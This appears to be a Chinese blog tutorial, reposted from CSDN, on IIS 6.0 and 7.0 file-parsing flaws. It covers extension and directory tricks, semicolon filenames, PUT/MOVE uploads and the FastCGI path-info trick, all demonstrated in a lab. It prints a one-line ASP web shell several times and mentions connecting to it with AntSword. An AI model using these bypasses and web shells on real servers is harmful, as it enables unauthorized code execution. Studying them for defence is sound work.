文件解析漏洞总结-IIS

一、IIS6.0解析漏洞

漏洞一(后缀绕过)
漏洞二(目录解析)
漏洞三(文件解析)
补充(PUT和漏洞三的结合)

二、IIS7.0解析漏洞


IIS6.0解析漏洞

环境搭建:Windows Server 2003

漏洞一:

当目标服务器禁止上传.asp后缀的文件时,可以使用.cer或.asa后缀绕过,这两个后缀名依旧当做asp文件解析执行
例:有peak.cer和peak.asa,其内容都是

<%
response.write("Hello World!")
%>

在这里插入图片描述
在这里插入图片描述

漏洞二:

在网站中建立*.asp或*.asa的文件夹时,该文件夹中的任何文件都被IIS当做asp文件解析并执行,也可以叫做目录解析
例:在网站根目录中创建一个x.asp文件夹,x.asp文件夹中有个1.txt,1.txt的内容如下

<%
response.write("Hello World!")
%>

结果示意图:
在这里插入图片描述
在这里插入图片描述
注:这里1.txt的内容可以为一句话,这样,就获得到了目标的服务器权限
例如使用一句话:<%eval request(“peak”)%>
在这里插入图片描述

漏洞三:

当IIS处理像*.asp;*.jpg这类特殊的文件名时,会将;后面的内容直接忽略,将;前面的文件当做asp解析执行,这么做主要是为了绕过上传时目标服务器设置的黑名单,也可以称其为文件解析
例:一个peak.asp;jpg或peak.asp;1.jpg,其内容为:<%eval request(“peak”)%>
在这里插入图片描述

补充:

可以通过PUT与漏洞三的结合,上传一句话木马文件,并让它以asp解析执行
条件:要有写入权限
在这里插入图片描述
1、先在本地写一个一句话,如果目标不让上传.asp,那我们.txt总可以吧,例如上传一个xx.txt,内容:<%eval request(“peak”)%>
如果无法PUT,是因为,你没有给根目录users的写入权限,我这里就直接完全控制了
在这里插入图片描述
2、使用软件PUT上传
在这里插入图片描述
在这里插入图片描述
3、使用软件MOVE移动为特殊文件名
在这里插入图片描述
4、最后访问目标文件
在这里插入图片描述
访问:
在这里插入图片描述
蚁剑连接:
在这里插入图片描述

IIS7.0解析漏洞

原理:IIS和Nginx从右向左判断是否认识这个后缀,只要看到认识的后缀,例如:是.php结尾的,交给php处理,当php开启了cgi.cgi_pathinfo=1,就会对文件路径进行修理,何为修理?例如:当php遇到文件路径为xx.jpg/xx.txt/xx.php时,它会先判断xx.jpg/xx.txt/xx.php这个文件是否存在(注意xx.jpg/xx.txt/xx.php是个整体),若xx.jpg/xx.txt/xx.php不存在于,就删除/xx.php,继续向前找,如果xx.jpg/xx.txt存在,那么最后执行的文件就是xx.jpg/xx.txt;如果xx.jpg/xx.txt不存在,就删除/xx.txt,继续向前找,判断xx.jpg是否存在在,以此类推
注:这里的xx.jpg和xx.txt它既是文件,也是目录,因为它里面还有文件嘛,找不到就向上一级找

实验环境:(IIS7.x+php任意版本+FAST-CGI)
Windows Server 2008
phpstudy2018

漏洞利用条件:
1、php.ini里的cgi.cgi_pathinfo=1
2、IIS7.0在FAST-CGI运行模式下

(1)首先安装IIS7.0(记得勾选ASP相关和CGI),然后安装phpstudy,这里我选择如下
在这里插入图片描述
(2)然后访问一下IIS页面
在这里插入图片描述
(3)先创建一个phpinfo文件测试一下php环境是否搭建成功
在这里插入图片描述

(4)再创建一个包含php代码的jpg文件
在这里插入图片描述
(5)浏览器访问一下,看看
在这里插入图片描述
(6)接下来试试1.jpg/.php文件路径修理来试试
在这里插入图片描述
(7)哎呦,无法访问,那我们接下来进行配置,使php文件路径修理生效
我们来修改php.ini文件,设置cgi.cgi_pathinfo=1,并删除注释
在这里插入图片描述
(8)最重要的来了,更改网站处理程序映射
在这里插入图片描述

在这里插入图片描述
确定即可
(9)最后我们利用php文件修理这一特性进行漏洞的执行

http://192.168.100.181/1.jpg/.php
原理:
因为URL最后有.php,所以IIS将1.jpg/.php交给php处理,php修理文件路径1.jpg/.php,发现1.jpg/中的.php不存在于服务器中,所以向前寻找1.jpg,判断1.jpg是否存在,结果存在,那么就把该文件当做php解析代码执行了

在这里插入图片描述

发布了148 篇原创文章 · 获赞 61 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/105060920